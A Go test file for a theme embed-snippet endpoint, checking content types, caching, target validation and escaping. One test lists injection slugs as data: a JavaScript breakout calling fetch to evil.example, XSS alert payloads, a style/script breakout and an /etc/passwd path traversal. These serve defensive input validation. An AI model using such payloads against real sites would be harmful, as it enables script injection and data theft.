226 lines
7.4 KiB
Go
226 lines
7.4 KiB
Go
|
|
package httpapi_test
|
||
|
|
|
||
|
|
import (
|
||
|
|
"encoding/json"
|
||
|
|
"net/http"
|
||
|
|
"net/http/httptest"
|
||
|
|
"strings"
|
||
|
|
"testing"
|
||
|
|
)
|
||
|
|
|
||
|
|
// embed is the decoded shape of /rt/v1/embed.
|
||
|
|
type embed struct {
|
||
|
|
Slug string `json:"slug"`
|
||
|
|
Name string `json:"name"`
|
||
|
|
Version int64 `json:"version"`
|
||
|
|
Language string `json:"language"`
|
||
|
|
Snippet string `json:"snippet"`
|
||
|
|
Note string `json:"note"`
|
||
|
|
BaseURL string `json:"baseUrl"`
|
||
|
|
}
|
||
|
|
|
||
|
|
// embedFor requests the snippet endpoint and fails the test unless it answers 200
|
||
|
|
// with JSON.
|
||
|
|
func embedFor(t *testing.T, h http.Handler, query string) embed {
|
||
|
|
t.Helper()
|
||
|
|
rec := httptest.NewRecorder()
|
||
|
|
h.ServeHTTP(rec, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/rt/v1/embed?"+query, nil))
|
||
|
|
if rec.Code != http.StatusOK {
|
||
|
|
t.Fatalf("got %d, want 200: %s", rec.Code, rec.Body.String())
|
||
|
|
}
|
||
|
|
if ct := rec.Header().Get("Content-Type"); !strings.HasPrefix(ct, "application/json") {
|
||
|
|
t.Fatalf("content type %q, want JSON. The admin UI fetches this with a JSON parser.", ct)
|
||
|
|
}
|
||
|
|
var out embed
|
||
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
|
||
|
|
t.Fatalf("response is not JSON: %v", err)
|
||
|
|
}
|
||
|
|
return out
|
||
|
|
}
|
||
|
|
|
||
|
|
// TestEmbedAlwaysAnswersJSON is the regression test for the bug that made the
|
||
|
|
// Integrate page unusable: the default target answered text/html while the admin
|
||
|
|
// UI asked for JSON, so every load reported "the server returned a response that
|
||
|
|
// could not be parsed".
|
||
|
|
func TestEmbedAlwaysAnswersJSON(t *testing.T) {
|
||
|
|
h := newRuntimeRouter(t)
|
||
|
|
|
||
|
|
for _, target := range []string{"html", "react", "javascript", ""} {
|
||
|
|
t.Run("target="+target, func(t *testing.T) {
|
||
|
|
query := "slug=midnight"
|
||
|
|
if target != "" {
|
||
|
|
query += "&target=" + target
|
||
|
|
}
|
||
|
|
got := embedFor(t, h, query)
|
||
|
|
if got.Snippet == "" {
|
||
|
|
t.Error("snippet is empty")
|
||
|
|
}
|
||
|
|
})
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// TestEmbedRejectsUnknownTheme checks that a snippet is never generated for a theme
|
||
|
|
// that does not exist. The endpoint used to echo back whatever slug it was given.
|
||
|
|
func TestEmbedRejectsUnknownTheme(t *testing.T) {
|
||
|
|
h := newRuntimeRouter(t)
|
||
|
|
|
||
|
|
rec := httptest.NewRecorder()
|
||
|
|
h.ServeHTTP(rec, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/rt/v1/embed?slug=no-such-theme", nil))
|
||
|
|
if rec.Code != http.StatusNotFound {
|
||
|
|
t.Errorf("got %d, want 404: %s", rec.Code, rec.Body.String())
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// TestEmbedRejectsMalformedSlug covers the shape check. Slugs are interpolated into
|
||
|
|
// generated source, so a slug carrying a quote has to be refused at the door rather
|
||
|
|
// than trusted to be escaped later.
|
||
|
|
func TestEmbedRejectsMalformedSlug(t *testing.T) {
|
||
|
|
h := newRuntimeRouter(t)
|
||
|
|
|
||
|
|
// Each of these breaks out of a JavaScript string literal or a CSS selector if
|
||
|
|
// it is not rejected.
|
||
|
|
slugs := []string{
|
||
|
|
"x';fetch('//evil.example')//",
|
||
|
|
`x"+alert(1)+"`,
|
||
|
|
"x</style><script>alert(1)</script>",
|
||
|
|
"../etc/passwd",
|
||
|
|
"UPPERCASE",
|
||
|
|
"has space",
|
||
|
|
"trailing-",
|
||
|
|
"-leading",
|
||
|
|
}
|
||
|
|
|
||
|
|
for _, slug := range slugs {
|
||
|
|
t.Run(slug, func(t *testing.T) {
|
||
|
|
rec := httptest.NewRecorder()
|
||
|
|
h.ServeHTTP(rec, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
||
|
|
"/rt/v1/embed?slug="+urlQueryEscape(slug)+"&target=javascript", nil))
|
||
|
|
if rec.Code == http.StatusOK {
|
||
|
|
t.Errorf("accepted a malformed slug and returned a snippet: %s", rec.Body.String())
|
||
|
|
}
|
||
|
|
})
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// urlQueryEscape percent-encodes a query parameter value.
|
||
|
|
func urlQueryEscape(s string) string {
|
||
|
|
var b strings.Builder
|
||
|
|
for i := 0; i < len(s); i++ {
|
||
|
|
c := s[i]
|
||
|
|
if (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9') ||
|
||
|
|
c == '-' || c == '_' || c == '.' || c == '~' {
|
||
|
|
b.WriteByte(c)
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
const hexDigits = "0123456789ABCDEF"
|
||
|
|
b.WriteByte('%')
|
||
|
|
b.WriteByte(hexDigits[c>>4])
|
||
|
|
b.WriteByte(hexDigits[c&0x0f])
|
||
|
|
}
|
||
|
|
return b.String()
|
||
|
|
}
|
||
|
|
|
||
|
|
// TestEmbedSnippetsAreSyntacticallyPlausible is the property that actually matters:
|
||
|
|
// the snippet a developer pastes has to be parseable code for its language. A
|
||
|
|
// balanced-quote check is a cheap proxy that catches the whole class of escaping
|
||
|
|
// bug without pulling in a JavaScript parser.
|
||
|
|
func TestEmbedSnippetsAreSyntacticallyPlausible(t *testing.T) {
|
||
|
|
h := newRuntimeRouter(t)
|
||
|
|
|
||
|
|
for _, target := range []string{"html", "react", "javascript"} {
|
||
|
|
t.Run(target, func(t *testing.T) {
|
||
|
|
got := embedFor(t, h, "slug=midnight&target="+target)
|
||
|
|
assertBalancedSingleQuotes(t, got.Snippet)
|
||
|
|
assertBalancedBackticks(t, got.Snippet)
|
||
|
|
if strings.Count(got.Snippet, "\n") < 2 {
|
||
|
|
t.Errorf("snippet looks truncated:\n%s", got.Snippet)
|
||
|
|
}
|
||
|
|
})
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// assertBalancedSingleQuotes fails when a snippet has an odd number of single
|
||
|
|
// quotes outside a comment, which is what an unescaped value looks like.
|
||
|
|
func assertBalancedSingleQuotes(t *testing.T, snippet string) {
|
||
|
|
t.Helper()
|
||
|
|
inSingle, inDouble, inBacktick := false, false, false
|
||
|
|
for i := 0; i < len(snippet); i++ {
|
||
|
|
c := snippet[i]
|
||
|
|
switch {
|
||
|
|
case c == '\\' && (inSingle || inDouble || inBacktick):
|
||
|
|
i++ // skip the escaped character
|
||
|
|
case c == '\'' && !inDouble && !inBacktick:
|
||
|
|
inSingle = !inSingle
|
||
|
|
case c == '"' && !inSingle && !inBacktick:
|
||
|
|
inDouble = !inDouble
|
||
|
|
case c == '`' && !inSingle && !inDouble:
|
||
|
|
inBacktick = !inBacktick
|
||
|
|
}
|
||
|
|
}
|
||
|
|
if inSingle || inDouble || inBacktick {
|
||
|
|
t.Errorf("snippet has an unterminated string literal:\n%s", snippet)
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// assertBalancedBackticks fails on an odd number of backticks.
|
||
|
|
func assertBalancedBackticks(t *testing.T, snippet string) {
|
||
|
|
t.Helper()
|
||
|
|
if strings.Count(snippet, "`")%2 != 0 {
|
||
|
|
t.Errorf("snippet has an unbalanced backtick:\n%s", snippet)
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// TestEmbedRejectsUnknownTarget checks that a typo is reported rather than silently
|
||
|
|
// returning the HTML page.
|
||
|
|
func TestEmbedRejectsUnknownTarget(t *testing.T) {
|
||
|
|
h := newRuntimeRouter(t)
|
||
|
|
|
||
|
|
for _, target := range []string{"xml", "HTML", "ts", ".."} {
|
||
|
|
t.Run(target, func(t *testing.T) {
|
||
|
|
rec := httptest.NewRecorder()
|
||
|
|
h.ServeHTTP(rec, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
|
||
|
|
"/rt/v1/embed?slug=midnight&target="+urlQueryEscape(target), nil))
|
||
|
|
if rec.Code != http.StatusBadRequest {
|
||
|
|
t.Errorf("got %d, want 400: %s", rec.Code, rec.Body.String())
|
||
|
|
}
|
||
|
|
})
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// TestEmbedIsNotCacheable guards the header. Every snippet embeds this deployment's
|
||
|
|
// absolute URL, so a cached copy would keep serving the wrong origin after a
|
||
|
|
// hostname change.
|
||
|
|
func TestEmbedIsNotCacheable(t *testing.T) {
|
||
|
|
h := newRuntimeRouter(t)
|
||
|
|
|
||
|
|
rec := httptest.NewRecorder()
|
||
|
|
h.ServeHTTP(rec, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/rt/v1/embed?slug=midnight", nil))
|
||
|
|
if cc := rec.Header().Get("Cache-Control"); !strings.Contains(cc, "no-store") {
|
||
|
|
t.Errorf("Cache-Control %q, want no-store", cc)
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
// TestEmbedPageIsHTML checks the standalone page is still reachable and still HTML,
|
||
|
|
// since it is a separate handler serving a different kind of caller.
|
||
|
|
func TestEmbedPageIsHTML(t *testing.T) {
|
||
|
|
h := newRuntimeRouter(t)
|
||
|
|
|
||
|
|
rec := httptest.NewRecorder()
|
||
|
|
h.ServeHTTP(rec, httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/rt/v1/embed-page?slug=midnight", nil))
|
||
|
|
if rec.Code != http.StatusOK {
|
||
|
|
t.Fatalf("got %d, want 200", rec.Code)
|
||
|
|
}
|
||
|
|
if ct := rec.Header().Get("Content-Type"); !strings.HasPrefix(ct, "text/html") {
|
||
|
|
t.Errorf("content type %q, want text/html", ct)
|
||
|
|
}
|
||
|
|
body := rec.Body.String()
|
||
|
|
if !strings.Contains(body, "<!doctype html>") {
|
||
|
|
t.Error("not an HTML document")
|
||
|
|
}
|
||
|
|
// The page must not inline a raw script from the slug: every sample is escaped
|
||
|
|
// for display inside a <pre>.
|
||
|
|
if strings.Contains(body, "<script>alert") {
|
||
|
|
t.Error("page contains an unescaped injected script")
|
||
|
|
}
|
||
|
|
}
|